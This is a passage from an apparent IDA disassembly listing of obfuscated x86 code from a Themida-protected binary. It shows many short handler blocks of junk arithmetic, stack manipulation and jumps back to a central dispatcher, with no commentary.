jmp loc_58B6E9
; ---------------------------------------------------------------------------
loc_58CFEB: ; DATA XREF: Themida_:0058438Co
mov cx, word ptr [esp+38h+var_38]
push 4EF3h
mov [esp+3Ch+var_3C], esi
push esp
pop esi
push 41BCh
jmp loc_58902E
; ---------------------------------------------------------------------------
loc_58D003: ; CODE XREF: sub_584787+72E0j
add esp, 4
push ebx
mov bl, dl
push edx
mov dh, bl
push eax
jmp loc_587134
; ---------------------------------------------------------------------------
loc_58D015: ; CODE XREF: sub_584787+4430j
mov eax, 2E12092Ah
push ecx
mov ecx, 2B953D12h
dec ecx
add ecx, 3DFD1CB8h
dec ecx
jmp loc_58EB49
; ---------------------------------------------------------------------------
loc_58D02D: ; CODE XREF: sub_584787+29D5j
add edx, eax
sub edx, 6BB50099h
push ebp
mov ebp, 3036730Fh
shr ebp, 8
not ebp
or ebp, 3B7040EDh
jmp loc_584AD6
; ---------------------------------------------------------------------------
loc_58D04B: ; CODE XREF: sub_584787+5D95j
add ebx, 4
sub esp, 4
mov [esp+0], esi
mov esi, 7DE53707h
shl esi, 5
push ebp
mov ebp, 100E2FC3h
inc ebp
shr ebp, 1
sub ebp, 0E1DD144Ah
add esi, ebp
jmp loc_58CD65
; ---------------------------------------------------------------------------
loc_58D075: ; CODE XREF: sub_584787+6CA4j
mov edx, 0A2BCA9CFh
sub edx, esi
pop esi
jmp loc_5845A1
; ---------------------------------------------------------------------------
loc_58D082: ; CODE XREF: sub_584787+A13Cj
add esp, 4
shr ecx, 0Ah
jmp loc_5895C8
; ---------------------------------------------------------------------------
loc_58D08D: ; CODE XREF: sub_584787+50CDj
add ebp, 0E7A7A010h
mov ecx, ebp
mov ebp, [esp+36h+var_38+2]
jmp loc_58E98B
; ---------------------------------------------------------------------------
loc_58D09D: ; CODE XREF: sub_584787+75EDj
add edi, 60622831h
shl edi, 7
not edi
inc edi
add edi, 0BF841884h
add edx, edi
jmp loc_58AE60
; ---------------------------------------------------------------------------
loc_58D0B6: ; DATA XREF: Themida_:0058427Co
push dword ptr [edi+1Ch]
popf
pop ax
adc word ptr [esp+2+var_4+2], ax
pushf
jmp loc_589D3D
; ---------------------------------------------------------------------------
loc_58D0C6: ; DATA XREF: Themida_:00584368o
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp+2+var_4+2], eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D0D4: ; CODE XREF: sub_584787+ABF7j
add esp, 4
push edi
mov edi, 0AC00C23h
push edi
jmp loc_5879FB
; ---------------------------------------------------------------------------
loc_58D0E3: ; CODE XREF: sub_584787+7515j
push edi
mov edi, 6D5A4411h
mov ebx, edi
pop edi
shr ebx, 7
dec ebx
push ebp
mov ebp, 0DAB483h
jmp loc_588092
; ---------------------------------------------------------------------------
loc_58D0FB: ; CODE XREF: sub_584787+6030j
mov eax, 4
add edi, eax
pop eax
add edi, 2
push edi
push [esp+48h+var_46+2]
push [esp+4Ch+var_4E+2]
pop edi
jmp loc_584C1C
; ---------------------------------------------------------------------------
loc_58D114: ; CODE XREF: sub_584787+32CBj
push [esp-12h+arg_E]
pop edx
push edx
jmp loc_58A120
; ---------------------------------------------------------------------------
loc_58D11E: ; CODE XREF: sub_584787+36BCj
add ebp, 4
push ebp
jmp loc_587EB7
; ---------------------------------------------------------------------------
loc_58D127: ; CODE XREF: sub_584787+6415j
pop edx
mov esi, [esp+0Ch+var_C]
add esp, 4
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp+8+var_8]
jmp loc_58D869
; ---------------------------------------------------------------------------
loc_58D145: ; CODE XREF: sub_584787+3383j
not eax
add eax, 0CABDF7E0h
sub esi, eax
mov eax, [esp+1Ch+var_1C]
push edx
push esp
pop edx
jmp loc_58A3ED
; ---------------------------------------------------------------------------
loc_58D159: ; CODE XREF: sub_584787+7ADFj
xchg ebp, edx
sub edx, 6125187Ch
xor eax, edx
mov edx, [esp-14h+arg_E+2]
add esp, 4
push 238Eh
mov [esp-14h+arg_E+2], ebx
push 3546DC07h
push dword ptr [esp+0]
pop ebx
add esp, 4
xor eax, ebx
push [esp-14h+arg_E+2]
mov ebx, [esp+0]
jmp loc_58EBED
; ---------------------------------------------------------------------------
loc_58D18A: ; CODE XREF: sub_584787+5310j
mov esp, [esp+14h+var_14]
imul cx, ax
push cx
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D199: ; CODE XREF: sub_584787+22E8j
mov ebp, 7CCD7784h
xor [esp+2Ah+var_26], ebp
jmp loc_590016
; ---------------------------------------------------------------------------
loc_58D1A7: ; CODE XREF: sub_584787+9214j
sub edx, 59370666h
inc edx
sub edx, 58ADB665h
mov ecx, edx
pop edx
shr ecx, 8
jmp sub_58F4F5
; ---------------------------------------------------------------------------
loc_58D1BF: ; CODE XREF: sub_584787+2C73j
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
mul ecx
push 27BEh
mov [esp+4+var_4], edx
jmp loc_586566
; ---------------------------------------------------------------------------
loc_58D1D5: ; CODE XREF: sub_584787+27B3j
mov al, bl
pop ebx
dec al
xor al, 74h
jmp loc_58DC4C
; ---------------------------------------------------------------------------
loc_58D1E1: ; CODE XREF: sub_584787+B698j
xchg ebx, [esp+1Ch+var_1C]
jmp loc_589ACC
; ---------------------------------------------------------------------------
loc_58D1E9: ; CODE XREF: sub_584787+19F3j
mov ecx, esp
add ecx, 4
jmp loc_58AAC2
; ---------------------------------------------------------------------------
loc_58D1F6: ; CODE XREF: sub_584787+74FBj
inc ebp
dec ebp
xor ebp, 67C654E4h
push ebx
mov ebx, 41B15423h
jmp loc_58BDB0
; ---------------------------------------------------------------------------
loc_58D209: ; CODE XREF: sub_584787+7EFDj
add ebx, 4
xchg ebx, [esp+1Eh+var_20+2]
pop esp
sub esp, 4
mov [esp+1Eh+var_20+2], ebx
mov ebx, 2
jmp loc_587CD6
; ---------------------------------------------------------------------------
loc_58D223: ; DATA XREF: Themida_:005843BCo
push 2D74h
mov [esp], ebp
push 4C9h
mov [esp+26h+var_26], eax
mov ebp, [esp+26h+var_26]
jmp loc_58BE66
; ---------------------------------------------------------------------------
loc_58D23B: ; CODE XREF: sub_584787+AFA1j
add edx, 7AD9449Bh
add edx, edi
jmp loc_58A9DB
; ---------------------------------------------------------------------------
loc_58D248: ; CODE XREF: sub_584787+A252j
mov ebx, [esp+26h+var_26]
add esp, 4
jmp loc_58FF01
; ---------------------------------------------------------------------------
loc_58D256: ; CODE XREF: sub_584787+B99Fj
pop ebx
add ebx, 4
sub esp, 4
mov [esp+0], ecx
mov ecx, 4
sub ebx, ecx
jmp loc_586C69
; ---------------------------------------------------------------------------
loc_58D272: ; CODE XREF: sub_584787+AAE5j
add esi, 394C1B27h
push ebx
jmp loc_58E68B
; ---------------------------------------------------------------------------
loc_58D27E: ; CODE XREF: sub_584787+87A3j
mov word ptr [esp+42h+var_42], si
push 60EDh
mov [esp+46h+var_46], eax
mov ax, 5538h
shr ax, 6
add ax, 0FFFFh
sub ax, 8A13h
mov si, ax
pop eax
sub ax, si
pop si
jmp loc_58FD45
; ---------------------------------------------------------------------------
loc_58D2A8: ; CODE XREF: sub_584787+3551j
pop ebx
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
pop esp
imul cx
push small 539Fh
mov word ptr [esp+3Ch+var_3C], dx
push ax
pushf
jmp loc_58F1BB
; ---------------------------------------------------------------------------
loc_58D2C6: ; CODE XREF: sub_584787+875Dj
mov edx, 7A7C14B4h
sub esp, 4
mov [esp+54h+var_54], ebx
mov ebx, 2CA106F3h
xor edx, ebx
pop ebx
xor edx, 56DD1243h
add ebx, edx
pop edx
push 7780h
mov [esp+0], ecx
mov ecx, 2
sub ebx, ecx
pop ecx
jmp loc_58C93B
; ---------------------------------------------------------------------------
loc_58D2F7: ; CODE XREF: sub_584787+A7A6j
push esi
mov esi, 2
jmp loc_588681
; ---------------------------------------------------------------------------
loc_58D302: ; CODE XREF: sub_584787+4D45j
dec ecx
jmp loc_586287
; ---------------------------------------------------------------------------
loc_58D308: ; CODE XREF: sub_584787+82BCj
pop ecx
xor ebx, 400558D6h
push ecx
mov ecx, 0FAE1428h
jmp loc_58C35A
; ---------------------------------------------------------------------------
loc_58D31A: ; CODE XREF: sub_584787+DB9j
add esp, 4
push 492h
mov [esp+24h+var_26+2], edx
mov edx, ebp
mov ebx, edx
mov edx, [esp+24h+var_26+2]
add esp, 4
mov ebp, [esp+20h+var_20]
add esp, 4
push 7E0Ch
jmp loc_58FBDC
; ---------------------------------------------------------------------------
loc_58D345: ; CODE XREF: sub_584787+427Fj
mov dl, 23h
add al, dl
jmp loc_587D53
; ---------------------------------------------------------------------------
loc_58D34E: ; DATA XREF: Themida_:00584404o
push dword ptr [edi+1Ch]
popf
pop ax
sbb word ptr [esp+30h+var_30], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D35E: ; CODE XREF: sub_584787+B768j
mov word ptr [esp+34h+var_34], dx
push ebx
mov bh, 5
jmp loc_58DFB9
; ---------------------------------------------------------------------------
loc_58D36A: ; CODE XREF: sub_584787+3A2Fj
pop esp
mov [esp+40h+var_42+2], esp
jmp loc_58D422
; ---------------------------------------------------------------------------
loc_58D373: ; CODE XREF: sub_584732+Bj
add edx, ebx
pop ebx
push ebp
mov ebp, 25E2684Eh
and edx, ebp
pop ebp
and edx, 43935AD6h
not edx
jmp loc_584925
; ---------------------------------------------------------------------------
loc_58D38C: ; CODE XREF: sub_584787+A7C8j
mov edi, 227E1C34h
inc edi
sub edi, 0DF78173Eh
sub edx, edi
pop edi
push [esp+38h+var_38]
pop ebp
push ecx
jmp loc_5863AC
; ---------------------------------------------------------------------------
loc_58D3A5: ; CODE XREF: sub_584787+3FBEj
mov [esp+10h+var_10], esi
mov esi, 2
add ebp, esi
mov esi, [esp+10h+var_10]
jmp loc_58C014
; ---------------------------------------------------------------------------
loc_58D3B7: ; CODE XREF: sub_584787+5880j
push 664h
mov [esp-4+arg_0], ebp
mov ebp, esp
add ebp, 4
jmp loc_590600
; ---------------------------------------------------------------------------
loc_58D3CC: ; CODE XREF: sub_584787+9975j
xor edi, 0F7FEF570h
sub eax, 47946437h
add eax, edi
jmp loc_58BD8F
; ---------------------------------------------------------------------------
loc_58D3DE: ; CODE XREF: sub_584787+4A49j
mov [esp+0], esp
add dword ptr [esp+0], 4
jmp loc_584FF0
; ---------------------------------------------------------------------------
loc_58D3ED: ; CODE XREF: sub_584787+4728j
xor [esp+0Eh+var_C+2], edx
pop edx
mov ecx, [esp+0Ah+var_C+2]
jmp loc_586CFF
; ---------------------------------------------------------------------------
loc_58D3FA: ; CODE XREF: sub_584787+545Bj
pop esp
and eax, edx
jmp loc_58E73F
; ---------------------------------------------------------------------------
loc_58D402: ; CODE XREF: sub_584787+3462j
sub esp, 4
mov [esp+14h+var_14], esp
add [esp+14h+var_14], 4
pop esi
jmp loc_589606
; ---------------------------------------------------------------------------
loc_58D418: ; CODE XREF: sub_584787+B2F8j
mov edi, 227B3355h
jmp loc_585D8C
; ---------------------------------------------------------------------------
loc_58D422: ; CODE XREF: sub_584787+8BE7j
add [esp+40h+var_42+2], 4
mov edx, [esp+40h+var_42+2]
add esp, 4
add edx, 4
add edx, 2
jmp loc_58C899
; ---------------------------------------------------------------------------
loc_58D43D: ; CODE XREF: sub_584787+62j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D442: ; CODE XREF: sub_584787+6F4Dj
push ebp
jmp loc_589D37
; ---------------------------------------------------------------------------
loc_58D448: ; CODE XREF: sub_584787+1C69j
sub ebx, eax
pop eax
add ebx, 38E72A1Eh
sub ebx, eax
sub ebx, 38E72A1Eh
push eax
push esi
mov esi, 1933BB6h
xchg ebp, esi
not ebp
push esi
jmp loc_5890D4
; ---------------------------------------------------------------------------
loc_58D46A: ; CODE XREF: sub_584787+43Fj
and [esp+0Ch+var_C], eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D473: ; CODE XREF: sub_584787+3EFBj
mov ecx, 0F0E0A7Ah
add ebp, ecx
pop ecx
sub ebp, 2604292Ch
add ebp, esi
add ebp, 2604292Ch
jmp loc_58C140
; ---------------------------------------------------------------------------
loc_58D48E: ; CODE XREF: sub_584787+6A13j
xchg ecx, esi
neg ecx
xchg ecx, esi
jmp loc_58CF60
; ---------------------------------------------------------------------------
loc_58D499: ; CODE XREF: sub_584787+57E6j
mov esp, [esp+2+var_4+2]
push 0D28h
mov [esp+6+var_8+2], ebx
push 51D1h
mov [esp+0Ah+var_C+2], ecx
mov ecx, 2E7E03A5h
jmp loc_58D720
; ---------------------------------------------------------------------------
loc_58D4B6: ; CODE XREF: sub_584787+E16j
add edi, eax
pop eax
push ecx
mov ecx, 4
add edi, ecx
pop ecx
xchg edi, [esp+4+var_4]
jmp loc_58B61B
; ---------------------------------------------------------------------------
loc_58D4CA: ; CODE XREF: sub_584787+126j
sub dword ptr [edi+20h], 507021FFh
jmp loc_58C803
; ---------------------------------------------------------------------------
loc_58D4D6: ; CODE XREF: sub_584787+7046j
push 7D670042h
pop edi
add edi, 10BE4A42h
and edi, 9E82E07h
not edi
add edi, 8200A09h
mov ebp, edi
jmp loc_58CF9A
; ---------------------------------------------------------------------------
loc_58D4F7: ; CODE XREF: sub_584787+826Ej
push ebx
mov ebx, 115344FDh
push ebp
mov ebp, 3B152A52h
or ebp, 2DA1008Fh
shl ebp, 8
inc ebp
sub ebp, 480067B7h
jmp loc_5901B3
; ---------------------------------------------------------------------------
loc_58D518: ; CODE XREF: sub_584787+71A2j
pop eax
add ebp, 4
jmp loc_58C4C5
; ---------------------------------------------------------------------------
loc_58D524: ; CODE XREF: sub_584787+753Ej
mov ch, 83h
or ch, 97h
sub ch, 9
add ch, 0CEh
add al, ch
pop ecx
sub al, cl
sub al, 5Ch
pop cx
sub al, 0F1h
jmp loc_58E8FA
; ---------------------------------------------------------------------------
loc_58D53F: ; CODE XREF: sub_584787+4A9Cj
add ebx, ecx
add ebx, 5743A7Bh
pop ecx
jmp loc_58BEB9
; ---------------------------------------------------------------------------
loc_58D54D: ; CODE XREF: sub_584787+772Dj
add eax, 74331ECFh
push dword ptr [edi+eax*4]
mov eax, [esp-4+arg_0]
sub esp, 4
mov [esp+0], eax
push esp
push [esp+4+var_4]
pop eax
jmp loc_58B4E1
; ---------------------------------------------------------------------------
loc_58D568: ; DATA XREF: Themida_:005842DCo
mov ecx, [esp+4+var_4]
push ecx
push esp
jmp loc_58CBE7
; ---------------------------------------------------------------------------
loc_58D572: ; CODE XREF: sub_584787+16DDj
mov ebx, 723F656Dh
neg ebx
xor ebx, 8DC09A92h
mov edi, ebx
pop ebx
add edx, 461F3CBCh
jmp loc_58A032
; ---------------------------------------------------------------------------
loc_58D58D: ; CODE XREF: sub_584787+37CCj
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
mov esp, [esp+0]
mov [esp+0], ax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D5A2: ; CODE XREF: sub_584787+BE60j
sub bl, 0CEh
sub bl, 68h
xor dl, bl
jmp loc_587734
; ---------------------------------------------------------------------------
loc_58D5AF: ; CODE XREF: sub_584787+344j
neg ebp
add ebp, 97FA4DEEh
sub eax, ebp
pop ebp
sub eax, ebp
add eax, 409C0969h
pop ebp
xchg eax, [esp+3Ah+var_3C+2]
jmp loc_586D0D
; ---------------------------------------------------------------------------
loc_58D5CA: ; CODE XREF: sub_584787+9D93j
add ebp, 4
add ebp, 4
push 4AC9h
mov [esp+0], ebp
push [esp+3Eh+var_3C+2]
pop ebp
pop dword ptr [esp+0]
pop esp
jmp loc_5872F8
; ---------------------------------------------------------------------------
loc_58D5EC: ; CODE XREF: sub_584787+9230j
shr eax, 4
or eax, 15DC547Ch
add eax, 0E3AB4209h
add ecx, eax
jmp loc_58CB83
; ---------------------------------------------------------------------------
locret_58D600: ; CODE XREF: sub_584787+28E9j
retn
; ---------------------------------------------------------------------------
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D606: ; CODE XREF: sub_584787+5D77j
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
jmp loc_58C114
; ---------------------------------------------------------------------------
loc_58D617: ; CODE XREF: sub_584787+AA3j
xor [esp+4Eh+var_4E], ebx
jmp loc_58927F
; ---------------------------------------------------------------------------
loc_58D61F: ; CODE XREF: sub_584787+882Fj
push dword ptr [eax]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D626: ; CODE XREF: sub_584787+78D4j
add edi, 7B7F43D0h
add edi, eax
sub edi, 7B7F43D0h
jmp loc_586B2A
; ---------------------------------------------------------------------------
loc_58D639: ; CODE XREF: sub_584787+FA5j
xchg edx, [esp+1Ch+var_1C]
pop esp
push [esp+18h+var_18]
push [esp+1Ch+var_1C]
pop eax
add esp, 4
add esp, 4
add eax, 74A226A6h
push edi
mov edi, 26367756h
jmp loc_58605F
; ---------------------------------------------------------------------------
loc_58D65D: ; CODE XREF: sub_584787+433Aj
add edx, esi
jmp loc_585950
; ---------------------------------------------------------------------------
loc_58D664: ; CODE XREF: sub_584787+BE7j
push 1DF2h
mov [esp+10h+var_10], eax
push [esp+10h+var_10]
pop ebp
add esp, 4
push ebp
pop edx
mov ebp, [esp+0Ch+var_C]
jmp loc_58BB4B
; ---------------------------------------------------------------------------
loc_58D67D: ; CODE XREF: sub_584787+2CA6j
xor eax, [esp+8+var_8]
pop esp
jmp loc_58EA00
; ---------------------------------------------------------------------------
loc_58D686: ; CODE XREF: sub_584787+5CB7j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D68B: ; DATA XREF: Themida_:00584300o
mov esp, [esp+44h+var_46+2]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D693: ; CODE XREF: sub_584787+ACE9j
push 0E39h
mov [esp+0], edi
mov edi, esp
push 2F08h
mov [esp+4Ch+var_4E+2], ebp
mov ebp, 31EF2FDCh
push eax
mov eax, 311731FEh
xor ebp, eax
pop eax
push ebx
mov ebx, 6972189Eh
inc ebx
sub ebx, 4D33510Bh
xor ebx, 1640A235h
push esi
mov esi, 1A801160h
jmp loc_5888F6
; ---------------------------------------------------------------------------
loc_58D6D1: ; CODE XREF: sub_584787+28ADj
xor al, ch
mov ecx, [esp-0Ch+arg_8]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
sub bl, 1Eh
add bl, 2Bh
push eax
mov ah, 0D6h
push ecx
jmp loc_588F00
; ---------------------------------------------------------------------------
loc_58D6FA: ; CODE XREF: sub_584787+94EBj
push edx
jmp loc_58B39F
; ---------------------------------------------------------------------------
loc_58D700: ; CODE XREF: sub_584787+B975j
and eax, edi
mov edi, [esp+4+var_4]
jmp loc_58EE36
; ---------------------------------------------------------------------------
loc_58D70A: ; CODE XREF: sub_584787+1C5Fj
pop esi
jmp loc_58BD79
; ---------------------------------------------------------------------------
loc_58D710: ; CODE XREF: sub_584787+5E02j
add [esp+20h+var_20], 4
jmp loc_58C460
; ---------------------------------------------------------------------------
loc_58D719: ; CODE XREF: sub_584787+73E7j
push eax
push ebp
jmp loc_58B30A
; ---------------------------------------------------------------------------
loc_58D720: ; CODE XREF: sub_584787+8D2Aj
shr ecx, 3
jmp loc_5904F8
; ---------------------------------------------------------------------------
loc_58D728: ; CODE XREF: sub_584787+4AB4j
push 1E7620C1h
pop eax
add eax, 60A93B7Eh
add eax, 3CFA277Fh
jmp loc_58FC45
; ---------------------------------------------------------------------------
loc_58D73D: ; CODE XREF: sub_584787+4908j
push 4C11h
mov [esp+4+var_4], edi
push ebx
push eax
mov eax, 4CF01751h
mov ebx, 0BCF76EA3h
sub ebx, eax
pop eax
xor ebx, 371D061Fh
push edx
mov edx, 28E5490Dh
dec edx
dec edx
shl edx, 2
jmp loc_585390
; ---------------------------------------------------------------------------
loc_58D76A: ; CODE XREF: sub_584787+9F67j
add al, bl
jmp loc_58ACFC
; ---------------------------------------------------------------------------
loc_58D771: ; CODE XREF: sub_584787+7FD5j
mov edi, [esp-6+arg_0+2]
add esp, 4
add edi, 1EA90082h
add edi, ebx
push ebp
jmp loc_58721E
; ---------------------------------------------------------------------------
loc_58D785: ; CODE XREF: sub_584787+301Dj
dec dl
not dl
inc dl
xor dl, 0CDh
sub dl, 4Fh
mov bl, dl
mov edx, [esp+40h+var_42+2]
add esp, 4
add bl, 0B1h
push 7975h
mov [esp+40h+var_42+2], edx
mov dl, 58h
jmp loc_58FCA6
; ---------------------------------------------------------------------------
loc_58D7AB: ; CODE XREF: sub_584787+AE98j
add esp, 4
xor ebx, eax
mov dx, word ptr [esp+3Ch+var_3C]
push esi
push 68BAh
push esp
pop dword ptr [esp+0]
add [esp+44h+var_46+2], 4
push [esp+44h+var_46+2]
pop esi
add esp, 4
add esi, 4
push 6966h
jmp loc_586845
; ---------------------------------------------------------------------------
loc_58D7DC: ; CODE XREF: sub_584787+5B80j
sub esi, 247155CAh
jmp loc_58C6E0
; ---------------------------------------------------------------------------
loc_58D7E7: ; DATA XREF: Themida_:005843C0o
mov ax, [esp+0]
jmp loc_586C83
; ---------------------------------------------------------------------------
loc_58D7F0: ; CODE XREF: sub_584787+5969j
mov esi, esp
add esi, 4
push ebp
jmp loc_584C85
; ---------------------------------------------------------------------------
loc_58D7FE: ; CODE XREF: sub_584787+6B08j
add dh, bh
pop ebx
push ebx
mov bl, 5Ch
add bl, 3Bh
and bl, 11h
shr bl, 5
and bl, 46h
jmp loc_58A34A
; ---------------------------------------------------------------------------
loc_58D815: ; CODE XREF: sub_584787+52A1j
mov ebp, [esp+20h+var_20]
jmp loc_58AF55
; ---------------------------------------------------------------------------
loc_58D81D: ; CODE XREF: sub_584787+ACC5j
shr edi, 2
jmp loc_58E0EE
; ---------------------------------------------------------------------------
loc_58D825: ; CODE XREF: sub_584787+7B78j
mov ebx, esp
jmp loc_58EA13
; ---------------------------------------------------------------------------
loc_58D82C: ; CODE XREF: sub_584787+7A89j
pop ebp
push 0EC0h
mov [esp+8+var_8], eax
push esp
pop eax
push edi
mov edi, 1F442A6Dh
xor edi, 10006ACDh
jmp loc_58A60C
; ---------------------------------------------------------------------------
loc_58D848: ; CODE XREF: sub_584787+9821j
push eax
mov eax, 4D54207Eh
inc eax
jmp loc_58C733
; ---------------------------------------------------------------------------
loc_58D854: ; CODE XREF: sub_584787+83F7j
mov esi, 4
add ecx, esi
pop esi
add ecx, 2
push 4F1h
jmp loc_58C78D
; ---------------------------------------------------------------------------
loc_58D869: ; CODE XREF: sub_584787+89B9j
mov esp, [esp+8+var_8]
add esp, 4
push [esp+4+var_4]
pop ecx
push 2990h
jmp loc_585671
; ---------------------------------------------------------------------------
loc_58D87D: ; CODE XREF: sub_584787+BE1j
neg ecx
shr ecx, 5
sub ecx, 0CE8AA9EEh
xor eax, ecx
pop ecx
xor [esp+4Ah+var_46], eax
push dword ptr [esp+0]
jmp loc_58CEE9
; ---------------------------------------------------------------------------
loc_58D897: ; CODE XREF: sub_584787+7220j
push ecx
push eax
mov eax, 7B4F1171h
add eax, 2E320FFFh
push ebp
mov ebp, 20654986h
add ebp, 4D5465B0h
sub ebp, 0D0CE6815h
jmp loc_58E2F8
; ---------------------------------------------------------------------------
loc_58D8BA: ; CODE XREF: sub_584787+BCD2j
not ebp
sub ebp, 1
dec ebp
jmp loc_58F077
; ---------------------------------------------------------------------------
loc_58D8C5: ; CODE XREF: sub_584787+A2F2j
pop esp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D8CB: ; CODE XREF: sub_584787+AA6Ej
sub ebp, 0FFFFFFFFh
neg ebp
push ecx
mov ecx, 57F763ABh
add ebp, 2BCC0E74h
add ebp, ecx
sub ebp, 2BCC0E74h
pop ecx
jmp loc_587362
; ---------------------------------------------------------------------------
loc_58D8ED: ; CODE XREF: sub_584787+A5F7j
mov ebx, 0D8DC08B0h
sub edi, ebx
pop ebx
jmp loc_589C79
; ---------------------------------------------------------------------------
loc_58D8FA: ; CODE XREF: sub_584787+66F0j
xor edx, [esp+0]
xor [esp+0], edx
xor edx, [esp+0]
mov esp, [esp+0]
btc [esp+0], ax
pushf
jmp loc_5852E8
; ---------------------------------------------------------------------------
loc_58D911: ; CODE XREF: sub_584787+BCEAj
pop ebp
push edx
push dword ptr [esp+4]
mov edx, [esp-8+arg_4]
jmp loc_5861BD
; ---------------------------------------------------------------------------
loc_58D91F: ; CODE XREF: sub_584787+4DB5j
sub esp, 4
mov [esp+58h+var_58], eax
mov eax, esp
push ebp
jmp loc_587432
; ---------------------------------------------------------------------------
push [esp+5Ch+var_5C]
jmp loc_5875B5
; ---------------------------------------------------------------------------
loc_58D938: ; CODE XREF: sub_584787+1D1j
or ebx, 7A075D96h
shl ebx, 6
xor ebx, 85D76F84h
add esi, ebx
pop ebx
push eax
push 2
mov eax, [esp+0]
add esp, 4
add esi, eax
pop eax
xchg esi, [esp+1Ah+var_1C+2]
pop esp
idiv cl
movzx cx, ah
push small 4BBDh
mov word ptr [esp+18h+var_18], cx
movzx cx, al
push cx
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D97A: ; DATA XREF: Themida_:005843E0o
lodsd
jmp loc_58FEB2
; ---------------------------------------------------------------------------
loc_58D980: ; CODE XREF: sub_584787+BC0Fj
add eax, 320F1C09h
push edx
mov edx, 2FB3F2FDh
push ecx
push edx
mov edx, 55FD51C9h
shr edx, 2
xor edx, 3F3B47DEh
jmp loc_58D1A7
; ---------------------------------------------------------------------------
loc_58D9A0: ; CODE XREF: sub_584787+34D0j
shl ch, 1
jmp loc_587C3A
; ---------------------------------------------------------------------------
loc_58D9A7: ; CODE XREF: sub_584787+2EFj
mov ecx, eax
pop eax
dec ecx
shl ecx, 2
shl ecx, 7
push eax
mov eax, 2EF41AD0h
jmp loc_58D5EC
; ---------------------------------------------------------------------------
loc_58D9BC: ; CODE XREF: sub_584787+9357j
pop [esp+3Ah+var_3C+2]
mov esp, [esp+36h+var_38+2]
inc word ptr [esp+36h+var_38+2]
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58D9CC: ; CODE XREF: sub_584787+65DDj
add esp, 4
pop [esp+18h+var_18]
mov esp, [esp+14h+var_14]
jmp loc_58A9BF
; ---------------------------------------------------------------------------
loc_58D9DA: ; CODE XREF: sub_584787+7D65j
mov [esp+0], eax
mov ah, 6Bh
push ecx
mov cl, 0C9h
sub cl, 89h
jmp loc_587C81
; ---------------------------------------------------------------------------
loc_58D9EA: ; CODE XREF: sub_584787+27C3j
add [esp+1Ch+var_1C], 1F97648Bh
add [esp+1Ch+var_1C], 46DC7A8Ch
add [esp+1Ch+var_1C], eax
sub [esp+1Ch+var_1C], 46DC7A8Ch
push eax
push 1F97648Bh
pop eax
jmp loc_58534D
; ---------------------------------------------------------------------------
loc_58DA0E: ; CODE XREF: sub_584787+1762j
xor ch, ah
pop eax
jmp loc_5877A0
; ---------------------------------------------------------------------------
loc_58DA16: ; CODE XREF: sub_584787+B7D7j
add ebp, ecx
pop ecx
xchg ebp, [esp+0]
pop esp
sub esp, 4
mov [esp+0], ebx
mov ebx, esp
add ebx, 4
push ebp
jmp loc_58B7CC
; ---------------------------------------------------------------------------
loc_58DA31: ; DATA XREF: Themida_:00584334o
push [esp-0Ch+arg_8]
jmp loc_5858CE
; ---------------------------------------------------------------------------
loc_58DA39: ; CODE XREF: sub_584787+15F8j
sub esi, 7D9859DFh
sub esi, 6B8E1EE2h
pop edi
xor esi, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], esi
xor esi, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
jmp loc_589427
; ---------------------------------------------------------------------------
loc_58DA57: ; CODE XREF: sub_584787+8640j
add ecx, edx
pop edx
add ecx, 4
xor ecx, [esp-24h+arg_20]
xor [esp-24h+arg_20], ecx
xor ecx, [esp-24h+arg_20]
pop esp
shr ecx, 2
sub esp, 4
mov [esp-24h+arg_20], ebx
push [esp-24h+arg_20]
push [esp-20h+arg_1C]
push [esp-1Ch+arg_18]
pop eax
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5845A8
; ---------------------------------------------------------------------------
loc_58DA8B: ; CODE XREF: sub_584787+B85Bj
mov esi, 64EB1EE6h
and esi, 7C167DC9h
xor esi, 5DF00B0Ah
xor esi, 2ACC6C60h
xor eax, esi
pop esi
neg eax
add eax, 1
xor eax, 133AF0BBh
mov ebp, eax
jmp loc_58DFC0
; ---------------------------------------------------------------------------
loc_58DAB8: ; CODE XREF: sub_584787+25D2j
dec ebx
sub ebx, 0A0E72126h
xor eax, ebx
jmp loc_587009
; ---------------------------------------------------------------------------
loc_58DAC6: ; CODE XREF: sub_584787+294Ej
mov edx, 5BBC178Bh
not edx
jmp loc_58AFE3
; ---------------------------------------------------------------------------
loc_58DAD2: ; CODE XREF: sub_584787+AF85j
pop edx
sub esp, 4
mov [esp+8+var_8], ebp
push [esp+8+var_4]
pop ebp
jmp loc_58D9BC
; ---------------------------------------------------------------------------
loc_58DAE3: ; CODE XREF: sub_584787+6805j
dec eax
push ecx
push 291D0004h
pop ecx
shr ecx, 6
inc ecx
push edi
mov edi, 25BC52A4h
neg edi
jmp loc_58535C
; ---------------------------------------------------------------------------
loc_58DAFC: ; CODE XREF: sub_584787+98E1j
pop eax
push edi
mov edi, 5421928h
sub edi, 5421926h
jmp loc_5851CF
; ---------------------------------------------------------------------------
loc_58DB0E: ; CODE XREF: sub_584787+4C0Fj
xor ebx, 0EFEDDDFFh
add esi, ebx
pop ebx
sub esp, 4
mov [esp+0], ebp
mov ebp, 4
add esi, ebp
jmp loc_584BE5
; ---------------------------------------------------------------------------
